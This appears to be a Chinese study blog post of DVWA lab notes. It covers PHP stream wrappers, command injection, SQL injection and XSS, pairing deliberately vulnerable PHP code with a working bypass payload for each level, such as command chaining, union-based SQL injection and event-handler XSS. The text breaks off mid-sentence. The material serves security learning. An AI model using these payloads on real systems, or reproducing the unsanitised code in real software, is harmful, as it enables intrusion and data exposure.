PHP中支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php://

php://filter在双off的情况下也可以正常使用;
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

1
2
3
4
resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

payload:

1
php://filter/read=convert.base64-encode/resource=./1.txt

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。

比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

命令执行

0x00

准备材料
; - 分号在linux命令执行的时候,可以直接执行几条命令,命令与命令之间用分号隔开

& 前面的命令执行后接着执行候命的命令

&& 前面的命令执行成功后才可以执行下面的命令

| 前面的命令输出结果做为后面命令输入的内容

|| 前面的命令执行失败后才会执行后面的命令

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

代码审计:

先判断是否得到了一个提交的参数,然后,将IP地址赋予target参数

再判断是否为Windows系统,如果是win则执行第一个命令,如果不是就在命令加上-c选项,因为linux什么的操作系统中ping命令是一直执行的。只有加了-c指定发送的跳数才能停止

可以确定的是,完全没有添加防护措施,那就简单了,直接随便用一个吧(见0x00)

payload:

1
sdbet || ipconfig

0x02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

代码审计:

其他地方和上一个差不多,唯一不同的就是,它将&&和;变成了数组中的元素,再通过str_replace函数,进行空格替换,从而顾虑了&&和;,但没关系,又不是只有那两个字符串。

涉及函数:

[array_keys][https://www.runoob.com/php/func-array-keys.html]

[str_replace][https://www.w3school.com.cn/php/func_string_str_replace.asp]

paylaod:

1
127.0.0.1 & ipconfig

0x03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

代码审计:

很聪明,直接过滤掉了所有可能的连接符,但只做了一次防护,反之,过滤了第一次后,那剩下的连接符就连接起来咯

payload:

1
127.0.0.1 &||& ipconfig

0x04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计:

explode() 函数把字符串打散为数组

stripslashes删除反斜杠

is_numeric() 函数用于检测变量是否为数字或数字字符串。

涉及函数:

[stripslashes][https://www.w3school.com.cn/php/func_string_stripslashes.asp]

[explode][https://www.w3school.com.cn/php/func_string_explode.asp]

[is_numeric()][https://www.runoob.com/php/php-is_numeric-function.html]

payload:这个我不会,哈哈。

SQL注入

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

$_REQUEST 包含了 $_GET$_POST$_COOKIE 的数组,可以被远程用户篡改

is_object()** 函数用于检测变量是否是一个对象。PHP 版本要求: PHP 4, PHP 5, PHP 7

mysqli_error() 函数返回最近调用函数的最后一个错误描述

mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组,区分大小写

$_GLOBALS[“__mysqli_ston”]是规定使用的MySQL连接

从下图可以看出,它是完全没做防护就直接执行的

image-20200404063154458

所以就直接构造payload

1
2' -- 

0x02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符

这串代码,其实就只是做了这一个防护,也就是转义特殊字符

转义的字符串有:NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z

但是,这里它本来就是数字型注入,所以我们不需要 ' 闭合字符串,那mysql_real_escape_string() 的过滤就没什么用了

payload:

1
1 or 1=1 union select database(),2

0x03

high.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在sql语句中添加LIMIT1,以此限定每次输出的结果只有1个记录,不会输出所有记录

session-input.php

1
<?phpdefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';dvwaPageStartup( array( 'authenticated', 'phpids' ) );$page = dvwaPageNewGrab();$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];if( isset( $_POST[ 'id' ] ) ) {	$_SESSION[ 'id' ] =  $_POST[ 'id' ];	//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";	$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";	$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";}$page[ 'body' ] .= "<form action=\"#\" method=\"POST\">	<input type=\"text\" size=\"15\" name=\"id\">	<input type=\"submit\" name=\"Submit\" value=\"Submit\"></form><hr /><br /><button onclick=\"self.close();\">Close</button>";dvwaSourceHtmlEcho( $page );?>

因为high.php直接跳转到session-input.php函数中,所以直接看后者就ok,没有防护,那就和第一个一样了

payload:

1
1' union select 1,database() #

0x04

1
<?phpif( isset( $_GET[ 'Submit' ] ) ) {	// Check Anti-CSRF token	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );	// Get input	$id = $_GET[ 'id' ];	// Was a number entered?	if(is_numeric( $id )) {		// Check the database		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );		$data->bindParam( ':id', $id, PDO::PARAM_INT );		$data->execute();		$row = $data->fetch();		// Make sure only 1 result is returned		if( $data->rowCount() == 1 ) {			// Get values			$first = $row[ 'first_name' ];			$last  = $row[ 'last_name' ];			// Feedback for end user			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";		}	}}// Generate Anti-CSRF tokengenerateSessionToken();?>

xss注入

0x01

1
<?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {	$default = $_GET['default'];		# Do not allow script tags	if (stripos ($default, "<script") !== false) {		header ("location: ?default=English");		exit;	}}?>

if括号内判断是否存在<script字符串,如果不存在,就返回HTTP报头

涉及函数:

array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

header() 函数向客户端发送原始的 HTTP 报头

pyload:

1
</option></select><img src=1 onerror=alert("111")>

0x02

1
<?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {	# White list the allowable languages	switch ($_GET['default']) {		case "French":		case "English":		case "German":		case "Spanish":			# ok			break;		default:			header ("location: ?default=English");			exit;	}}?>

这里,由于switch的加入,于是变成必须是default变量中的值,也就是French,English,German,Spanish才行否则就进行跳转结束运行;

payload:

1
default=German&x=<script>alert(/123/)</script>default=German#<script>alert(/123/)</script>

0x03

1
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {	// Feedback for end user	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}?>

这里的话,他其实没做任何防护,所以,要做的,其实就是闭合html中的标签而已

payload:

1
123"><script>alert(124)</script>

0x04

1
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {	// Get input	$name = str_replace( '<script>', '', $_GET[ 'name' ] );	// Feedback for end user	$html .= "<pre>Hello ${name}</pre>";}?>

这里使用了str_replace函数,直接过滤**